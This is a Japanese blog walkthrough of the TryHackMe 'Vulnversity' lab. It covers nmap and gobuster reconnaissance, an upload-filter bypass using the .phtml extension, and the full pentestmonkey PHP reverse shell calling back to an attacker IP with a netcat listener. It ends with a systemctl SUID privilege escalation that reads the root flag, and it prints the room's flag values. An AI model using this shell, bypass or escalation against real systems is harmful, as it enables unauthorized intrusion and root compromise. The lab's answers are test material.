【TryHackMe】偵察からWEBアプリ攻撃、権限昇格について一通り学ぶ!Vulnversity Writeup

【TryHackMe】偵察からWEBアプリ攻撃、権限昇格について一通り学ぶ!Vulnversity Writeup
  • URLをコピーしました!

今回は、TryHackMeの「Vulnversity」というRoomを攻略してみます。
「TryHackMe-Vulnversity:https://tryhackme.com/room/vulnversity

解説は、ネタバレになりますので、注意してください。

おすすめの参考書
著:IPUSIRON
¥3,850 (2024/11/18 02:10時点 | Amazon調べ)
著:Justin Seitz, 著:Tim Arnold, 監修:萬谷 暢崇, 翻訳:新井 悠, 翻訳:加唐 寛征, 翻訳:村上 涼
¥3,520 (2024/11/18 20:28時点 | Amazon調べ)
目次

Deploy the machine(マシンをデプロイする)

まずは、ターゲットマシンをデプロイしておきましょう。
「Start Machine」を選択します

下記のようにIPが表示されていれば問題なしです。

Answer

Reconnaissance(偵察)

まずは、nmapというネットワークスキャンツールを利用して、ターゲットマシンの情報を収集していきます。
コマンドの詳しい内容は、「強力なネットワークスキャンツールであるNmapを使ってみた!」を参考にしてみてください。

┌──(hacklab㉿hacklab)-[~]
└─$ nmap -sV 10.10.141.243          
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-19 21:13 JST
Nmap scan report for 10.10.141.243
Host is up (0.24s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.3
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3128/tcp open  http-proxy  Squid http proxy 3.5.12
3333/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 58.36 seconds

サービスは、6個ほど動いていることがわかりますね。

Answer

There are many nmap “cheatsheets” online that you can use too.(あなたも使用できる多くのnmap「チートシート」がオンラインにあります。)

Scan the box, how many ports are open?(箱をスキャンして、いくつのポートが開いていますか?)

What version of the squid proxy is running on the machine?(マシンで実行されている squid プロキシのバージョンは?)

How many ports will nmap scan if the flag -p-400 was used?(flag -p-400が使用された場合、nmap はいくつのポートをスキャンしますか?)

┌──(hacklab㉿hacklab)-[~]
└─$ nmap -sV -p-400 10.10.141.243
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-19 21:22 JST
Nmap scan report for 10.10.141.243
Host is up (0.24s latency).
Not shown: 397 closed tcp ports (conn-refused)
PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
22/tcp  open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.39 seconds

Using the nmap flag -n what will it not resolve?(nmap flag -nを使用すると、 何が解決されないのでしょうか?)

What is the most likely operating system this machine is running?(このマシンで実行されている可能性が最も高いオペレーティング システムは何ですか?)

┌──(hacklab㉿hacklab)-[~]
└─$ sudo nmap -sV -O 10.10.141.243                                                                                                       1 ⨯
Starting Nmap 7.92 ( https://nmap.org ) at 2023-04-19 21:45 JST
Nmap scan report for 10.10.141.243
Host is up (0.24s latency).
Not shown: 994 closed tcp ports (reset)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 3.0.3
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3128/tcp open  http-proxy  Squid http proxy 3.5.12
3333/tcp open  http        Apache httpd 2.4.18 ((Ubuntu))
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.92%E=4%D=4/19%OT=21%CT=1%CU=36437%PV=Y%DS=2%DC=I%G=Y%TM=643FE27
OS:9%P=x86_64-pc-linux-gnu)SEQ(SP=100%GCD=1%ISR=108%TI=Z%CI=I%II=I%TS=8)OPS
OS:(O1=M506ST11NW7%O2=M506ST11NW7%O3=M506NNT11NW7%O4=M506ST11NW7%O5=M506ST1
OS:1NW7%O6=M506ST11)WIN(W1=68DF%W2=68DF%W3=68DF%W4=68DF%W5=68DF%W6=68DF)ECN
OS:(R=Y%DF=Y%T=40%W=6903%O=M506NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Network Distance: 2 hops
Service Info: Host: VULNUNIVERSITY; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 44.07 seconds

What port is the web server running on?(Web サーバーはどのポートで実行されていますか?)

Its important to ensure you are always doing your reconnaissance thoroughly before progressing. Knowing all open services (which can all be points of exploitation) is very important, don’t forget that ports on a higher range might be open so always scan ports after 1000 (even if you leave scanning in the background)
(進行する前に、常に徹底的に偵察を行っていることを確認することが重要です。開いているすべてのサービス (すべてが悪用される可能性があります) を把握することは非常に重要です。より高い範囲のポートが開いている可能性があることを忘れないでください。そのため、常に 1000 以降のポートをスキャンします (スキャンをバックグラウンドで行った場合でも)。)

Locating directories using GoBuster(GoBuster を使用したディレクトリの検索)

Webサイトをスキャンして、隠しディレクトリを探してみます。

┌──(hacklab㉿hacklab)-[~]
└─$ gobuster dir -u http://10.10.141.243:3333 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.141.243:3333
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Timeout:                 10s
===============================================================
2023/04/19 22:13:23 Starting gobuster in directory enumeration mode
===============================================================
/images               (Status: 301) [Size: 322] [--> http://10.10.141.243:3333/images/]
/css                  (Status: 301) [Size: 319] [--> http://10.10.141.243:3333/css/]
/js                   (Status: 301) [Size: 318] [--> http://10.10.141.243:3333/js/]
/fonts                (Status: 301) [Size: 321] [--> http://10.10.141.243:3333/fonts/]
/internal             (Status: 301) [Size: 324] [--> http://10.10.141.243:3333/internal/]

ディレクトリは、色々ありますが「/internal/」が怪しそうですね。

アップロードページのあるディレクトリが見つかりました。

Answer

What is the directory that has an upload form page?(アップロード フォーム ページがあるディレクトリは何ですか?)

Compromise the webserver(ウェブサーバーを侵害する)

ファイルをアップロードするページが見つかったので、これを利用してみようと思います。

Answer

What common file type, which you’d want to upload to exploit the server, is blocked? Try a couple to find out.(サーバーを悪用するためにアップロードしたい一般的なファイルの種類のうち、ブロックされているものはどれですか? いくつか試してみてください。)

これは、よくわかりませんでした。。。色々探した結果、.phpが答えだったようです。

Burp Suiteのintruderを使って、PHPを実行できる拡張子を探してみます。
Intercept is onにして、アップロードします。

ここで、「Action>Send to Intruder」を選択します。

今回は、ファイルの拡張子を変更したいので、アップロードしたファイルを探して拡張子を「§」で囲みます。

Payload Optionsは、[.php,.php3,.php4,.php5,.phtml]としておきましょう。

これで実行すると、下記のようにすべて200で返却されるのがわかるかと思います。

ここで、「.phtml」だけLengthが違うのが引っ掛かります。
少し中身をみてみましょう。

.phtmlだけSuccessが返却されています。
これを活用して、PHPリバースシェルを実行します。

こちらを参考にして、PHPリバースシェルを作成します。
IPを変更するのを忘れないようにしてください。

┌──(hacklab㉿hacklab)-[~/tryhackme/vulnversity]
└─$ cat php-reverse-shell.phtml
<?php
// php-reverse-shell - A Reverse Shell implementation in PHP
// Copyright (C) 2007 pentestmonkey@pentestmonkey.net
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  The author accepts no liability
// for damage caused by this tool.  If these terms are not acceptable to you, then
// do not use this tool.
//
// In all other respects the GPL version 2 applies:
//
// This program is free software; you can redistribute it and/or modify
// it under the terms of the GNU General Public License version 2 as
// published by the Free Software Foundation.
//
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License along
// with this program; if not, write to the Free Software Foundation, Inc.,
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
//
// This tool may be used for legal purposes only.  Users take full responsibility
// for any actions performed using this tool.  If these terms are not acceptable to
// you, then do not use this tool.
//
// You are encouraged to send comments, improvements or suggestions to
// me at pentestmonkey@pentestmonkey.net
//
// Description
// -----------
// This script will make an outbound TCP connection to a hardcoded IP and port.
// The recipient will be given a shell running as the current user (apache normally).
//
// Limitations
// -----------
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
// Some compile-time options are needed for daemonisation (like pcntl, posix).  These are rarely available.
//
// Usage
// -----
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.

set_time_limit (0);
$VERSION = "1.0";
$ip = '10.18.110.90';  // CHANGE THIS
$port = 1234;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

//
// Daemonise ourself if possible to avoid zombies later
//

// pcntl_fork is hardly ever available, but will allow us to daemonise
// our php process and avoid zombies.  Worth a try...
if (function_exists('pcntl_fork')) {
        // Fork and have the parent process exit
        $pid = pcntl_fork();

        if ($pid == -1) {
                printit("ERROR: Can't fork");
                exit(1);
        }

        if ($pid) {
                exit(0);  // Parent exits
        }

        // Make the current process a session leader
        // Will only succeed if we forked
        if (posix_setsid() == -1) {
                printit("Error: Can't setsid()");
                exit(1);
        }

        $daemon = 1;
} else {
        printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
        printit("$errstr ($errno)");
        exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
        printit("ERROR: Can't spawn shell");
        exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
        // Check for end of TCP connection
        if (feof($sock)) {
                printit("ERROR: Shell connection terminated");
                break;
        }

        // Check for end of STDOUT
        if (feof($pipes[1])) {
                printit("ERROR: Shell process terminated");
                break;
        }

        // Wait until a command is end down $sock, or some
        // command output is available on STDOUT or STDERR
        $read_a = array($sock, $pipes[1], $pipes[2]);
        $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

        // If we can read from the TCP socket, send
        // data to process's STDIN
        if (in_array($sock, $read_a)) {
                if ($debug) printit("SOCK READ");
                $input = fread($sock, $chunk_size);
                if ($debug) printit("SOCK: $input");
                fwrite($pipes[0], $input);
        }

        // If we can read from the process's STDOUT
        // send data down tcp connection
        if (in_array($pipes[1], $read_a)) {
                if ($debug) printit("STDOUT READ");
                $input = fread($pipes[1], $chunk_size);
                if ($debug) printit("STDOUT: $input");
                fwrite($sock, $input);
        }

        // If we can read from the process's STDERR
        // send data down tcp connection
        if (in_array($pipes[2], $read_a)) {
                if ($debug) printit("STDERR READ");
                $input = fread($pipes[2], $chunk_size);
                if ($debug) printit("STDERR: $input");
                fwrite($sock, $input);
        }
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
        if (!$daemon) {
                print "$string\n";
        }
}

?> 

ファイルをアップロードする前に、1234でリッスンしておきましょう。

┌──(hacklab㉿hacklab)-[~/tryhackme/vulnversity]
└─$ nc -lvnp 1234
listening on [any] 1234 ...

できたら、先ほどのPHPリバースシェルをアップロードします。

無事成功しましたね。

http://10.10.141.243:3333/internal/uploads/php-reverse-shell.phtml 」にアクセスすると、PHPを実行できます。

この状態でリッスンしていたのを見てみましょう。

┌──(hacklab㉿hacklab)-[~/tryhackme/vulnversity]
└─$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.18.110.90] from (UNKNOWN) [10.10.141.243] 42860
Linux vulnuniversity 4.4.0-142-generic #168-Ubuntu SMP Wed Jan 16 21:00:45 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 10:05:06 up  1:57,  0 users,  load average: 0.03, 0.01, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$

ちゃんと、リバースシェルが実行できてますね。
どんなユーザーがいるか見ておきます。

$ cd home
$ ls
bill

このユーザーのuser.txtにフラグがありそうなので、確認しておきましょう。

$ cd bill
$ ls
user.txt
$ cat user.txt
8bd7992fbe8a6ad22a63361004cfcedb

Privilege Escalation(権限昇格)

続いては、root権限を取得するために、権限昇格できる方法がないか探ってみます。

今回は、SUIDを利用した権限昇格をしていきます。
もしSUIDが何かわからない場合は、「SUID/SGID実行可能ファイルを利用した権限昇格」を参考にしてみてください。

まずは、SUID実行可能ファイルの一覧を表示してみます。

$ find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null
-rwxr-sr-x 1 root tty 27368 May 16  2018 /usr/bin/wall
-rwxr-sr-x 1 root tty 14752 Mar  1  2016 /usr/bin/bsd-write
-rwsr-xr-x 1 root root 32944 May 16  2017 /usr/bin/newuidmap
-rwxr-sr-x 1 root mlocate 39520 Nov 18  2014 /usr/bin/mlocate
-rwxr-sr-x 1 root shadow 62336 May 16  2017 /usr/bin/chage
-rwsr-xr-x 1 root root 49584 May 16  2017 /usr/bin/chfn
-rwxr-sr-x 1 root utmp 434216 Feb  7  2016 /usr/bin/screen
-rwxr-sr-x 1 root ssh 358624 Jan 31  2019 /usr/bin/ssh-agent
-rwsr-xr-x 1 root root 32944 May 16  2017 /usr/bin/newgidmap
-rwxr-sr-x 1 root crontab 36080 Apr  5  2016 /usr/bin/crontab
-rwsr-xr-x 1 root root 136808 Jul  4  2017 /usr/bin/sudo
-rwsr-xr-x 1 root root 40432 May 16  2017 /usr/bin/chsh
-rwxr-sr-x 1 root shadow 22768 May 16  2017 /usr/bin/expiry
-rwsr-xr-x 1 root root 54256 May 16  2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 23376 Jan 15  2019 /usr/bin/pkexec
-rwsr-xr-x 1 root root 39904 May 16  2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 75304 May 16  2017 /usr/bin/gpasswd
-rwsr-sr-x 1 daemon daemon 51464 Jan 14  2016 /usr/bin/at
-rwsr-sr-x 1 root root 98440 Jan 29  2019 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 14864 Jan 15  2019 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 428240 Jan 31  2019 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 10232 Mar 27  2017 /usr/lib/eject/dmcrypt-get-device
-rwsr-xr-x 1 root root 76408 Jul 17  2019 /usr/lib/squid/pinger
-rwsr-xr-- 1 root messagebus 42992 Jan 12  2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwxr-sr-x 1 root utmp 10232 Mar 11  2016 /usr/lib/x86_64-linux-gnu/utempter/utempter
-rwsr-xr-x 1 root root 38984 Jun 14  2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
-rwsr-xr-x 1 root root 40128 May 16  2017 /bin/su
-rwsr-xr-x 1 root root 142032 Jan 28  2017 /bin/ntfs-3g
-rwsr-xr-x 1 root root 40152 May 16  2018 /bin/mount
-rwsr-xr-x 1 root root 44680 May  7  2014 /bin/ping6
-rwsr-xr-x 1 root root 27608 May 16  2018 /bin/umount
-rwsr-xr-x 1 root root 659856 Feb 13  2019 /bin/systemctl
-rwsr-xr-x 1 root root 44168 May  7  2014 /bin/ping
-rwsr-xr-x 1 root root 30800 Jul 12  2016 /bin/fusermount
-rwxr-sr-x 1 root shadow 35600 Apr  9  2018 /sbin/unix_chkpwd
-rwxr-sr-x 1 root shadow 35632 Apr  9  2018 /sbin/pam_extrausers_chkpwd
-rwsr-xr-x 1 root root 35600 Mar  6  2017 /sbin/mount.cifs

gtfobinsをみていると「/bin/systemctl」を利用した権限昇格ができそうです。

gtfobinsの内容を少し修正して実行します。

$ TF=$(mktemp).service
$ echo '[Service]
ExecStart=/bin/sh -c "cat /root/root.txt > /tmp/output"
[Install]
WantedBy=multi-user.target' > $TF
$ /bin/systemctl link $TF
$ /bin/systemctl enable --now $TF
Created symlink from /etc/systemd/system/multi-user.target.wants/tmp.eTLafK2GSg.service to /tmp/tmp.eTLafK2GSg.service.
$ cd /tmp
$ cat output
a58ff8579f0a9270368d33a9966c7fd5

正しくできていれば、outputにフラグがあるはずです。

まとめ

今回は、「Vulnversity」というRoomを攻略してみました。
内容的には、簡単なのだと思いますが、まだまだ分からないことだらけで、Writeupを見ても理解できないところがいくつかありました。
また、攻撃する脆弱性がどれなのか、探し方がまだパッとしていないかんじですね。

これからも勉強していきます。。。

参考文献・サイト

Medium(Utkarsh Rai):https://infosecwriteups.com/tryhackme-vulnversity-70ceeb601757

よかったらシェアしてね!
  • URLをコピーしました!

この記事を書いた人

情報セキュリティを勉強するために始めたブログです。
新人のため、広い心を持って見ていただけると嬉しく思います。
楽しくプログラミングを勉強するために、「Teech Lab.」もありますので、ソフトウェア開発にも興味があればぜひ覗いて見てください!

目次